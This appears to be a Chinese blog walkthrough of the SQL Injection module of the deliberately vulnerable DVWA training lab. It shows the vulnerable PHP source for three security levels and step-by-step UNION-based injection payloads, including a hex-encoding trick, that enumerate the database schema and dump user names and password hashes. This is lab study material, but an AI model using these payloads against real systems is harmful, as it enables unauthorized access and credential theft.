DWVA-关于SQL注入的漏洞详解
本文为漏洞靶场DWVA第七个模块SQL Injection详细解答
low等级
代码如下:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
如上图,代码并没有对输入进行过滤,存在sql注入漏洞
下面开始攻击:
1.判断是否存在注入
输入 1 ---返回正确
输入 1’ ---返回错误
输入 1 and 1=1 ---返回正确
输入 1 and 1=2 ---返回正确
输入 1‘ and ’1‘=’1 ---返回正确
输入 1‘ and ’1‘=’1 ---返回正确
输入 1‘ and ’1‘=’2 ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)
输入 1‘ or ’1‘=’1 ---返回正确(返回很多结果,证明存在字符型注入)
2.猜解查询SQL语句中的字段数
输入 1‘ or 1=1 order by 1# ---返回正确
输入 1‘ or 1=1 order by 2# ---返回正确
输入 1‘ or 1=1 order by 3# ---返回错误(返回结果---Unknown column '3' in 'order clause' 证明字段数为2)
3.确定字段顺序
输入 1' or 1=1 union select 1,2# ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID='id')
4.确定数据库
输入 1' or 1=1 union select database(),2# ---确定数据库为 dwva
5.猜解表名
输入 1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' # ---确定表名为 guestbook 和 users
6.猜解列名
输入 1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' # ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.猜解数据名
输入 1' or 1=1 union select 1,concat(user,'-',password) from users # ---爆出所有数据
medium
代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。
我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。
下面开始攻击:
1.判断注入类型
选择1,提交,抓包后更改为 (此操作后续简写为抓包)
1‘ and 1=1 ---返回错误
1 and 1=1 ---返回正常(说明注入类型为数字型注入)
2.判断字段数
抓包
1 order by 1# ---返回正常
1 order by 2# ---返回正常
1 order by 3# ---返回错误(字段数为2)
3.判断字段顺序
抓包
1 union select 1,2# ---返回正常
4.猜解数据库
抓包
1 union select 1,database()# ---成功爆出数据库 dvwa
5.猜解表名
抓包
1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’# ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)
1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127# ---返回正常(只能爆出admin表)
1 union select 1,table_name from information_schema.tables where table_schema=0x64767761# ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是 ‘dvwa’ ,这一句转的是 dvwa ,转换的时候没有加‘,需要注意!)
也可以这样
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名guestbook,users
6.猜解列名
抓包
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ---爆出列名
7.猜解数据名
抓包
1 union select concat(user),concat(password) from users# ---爆出所有数据名
high
代码如下:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high级别对提交参数加了一个 limit 1 ,依次来控制输出参数为一个。
此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。
1.判断注入类型
1' or '1'='1 ---字符注入
2.判断字段数
1' or 1=1 order by 2# ---返回正确
1' or 1=1 order by 3# ---返回错误
3.判断字段顺序
1‘ or 1=1 union select 1.2# ---返回正常
4.猜解数据库
1‘ or 1=1 union select 1,database()# ---爆出数据库名
5.猜解表名
1' or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # ---爆出表名
6.猜解列名
1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ----爆出列名
7.爆出数据
1' or 1=1 union select group_concat(user),group_concat(password) from users # ---爆出数据
DWVA-关于SQL注入的漏洞详解的更多相关文章
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- SQL注入攻防入门详解(2)
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...
- [转]SQL注入攻防入门详解
原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...
- 【转载】SQL注入攻防入门详解
滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园 首页 博问 闪存 联系 订阅 管理 随笔-58 评论-2028 文章-5 trackbacks-0 站长 ...
- 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)
https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...
- Python中防止sql注入的方法详解
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库.下面这篇文章主要给大家介绍了关于Python中 ...
- 1.1 sql注入分类与详解
1.基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来 这里来讲一下报错注入的原理(floor型爆错注入): 0x01:报错过程: 1.rand()用于产生一 ...
- sql注入学习笔记 详解篇
sql注入的原理以及怎么预防sql注入(请参考上一篇文章) https://www.cnblogs.com/KHZ521/p/12128364.html (本章主要针对MySQL数据库进行注入) sq ...
- SQL Server表分区详解
原文:SQL Server表分区详解 什么是表分区 一般情况下,我们建立数据库表时,表数据都存放在一个文件里. 但是如果是分区表的话,表数据就会按照你指定的规则分放到不同的文件里,把一个大的数据文件拆 ...
随机推荐
- PHP 当Swoole 遇上 ThinkPHP5
本文假设你已经有了 Linux 操作系统的 PHP 环境,强烈推荐使用 Vagrant 来搭建开发环境 安装 Swoole PECL 拓展可以通过 pecl 命令或者通过源码包编译安装,本文采用 pe ...
- 资深架构师Sum的故事:(Mysql)InnoDB下,存储过程中事务的处理
| 故事背景 话说有一回,X市X公司的产品经理Douni兴致冲冲的跑来和Sum(Sum,X市X公司资历8年程序猿,技能:深思.熟虑.心细.深究.技术过敏.口头禅:嗯,容我想想.坚信:只要赚钱的业务,我 ...
- ArcGIS API For Javascript :如何动态生成 token 加载权限分配的地图服务?
一.需求 项目中我们通常会遇到为外协团队.合作友商提供地图服务的需求,因此对地图服务的权限需要做出分配. 二.现状 主流的办法是用用户和角色来控制,通常使用代理方式和用户名密码的方式来实现. 三.思路 ...
- bash6——循环
for fruit in apple orange pear #写死 do each ${fruit}s done fruits="apple orange pear" #输入变量 ...
- jsp页面使用EL表达式 使用Jstl标签库中的标签,需要引入jstl.jar和standard.jar
spring boot 中使用jstl 首先在pom中加入 <dependency> <groupId>jstl</groupId> <artifactId& ...
- add jar and proxy repo
1. 添加代理仓库 2. 添加host 仓库 3. 添加私有jar 4. 添加仓库到public 仓库
- python3 之 判断闰年小实例
一.方法1: while True: try: year = int(input('请输入一个年份:')) if (year % 4) == 0 and (year % 100) != 0 or (y ...
- Java流程控制之(三)嵌套
目录 嵌套循环 for循环嵌套 while循环嵌套 总结 之前谈到各种循环结构,有for循环啊,有while循环啊,可以完成不断重复的动作,相当方便.那么如果好多个循环结合再一次,又是如何实现效果的呢 ...
- 2019-11-28:ssrf基础学习,笔记
ssrf服务端请求伪造ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网 ...
- 2011-11-14:命令执行漏洞防御,PHP反序列化漏洞产生原因,笔记
命令执行漏洞防御尽量不要使用系统执行命令在进入执行命令函数方法之前,变量一定要做好过滤,对敏感字符进行转义在使用动态函数之前,确保使用的函数是指定的函数之一对PHP语言来说,不能完全控制的危险函数最好 ...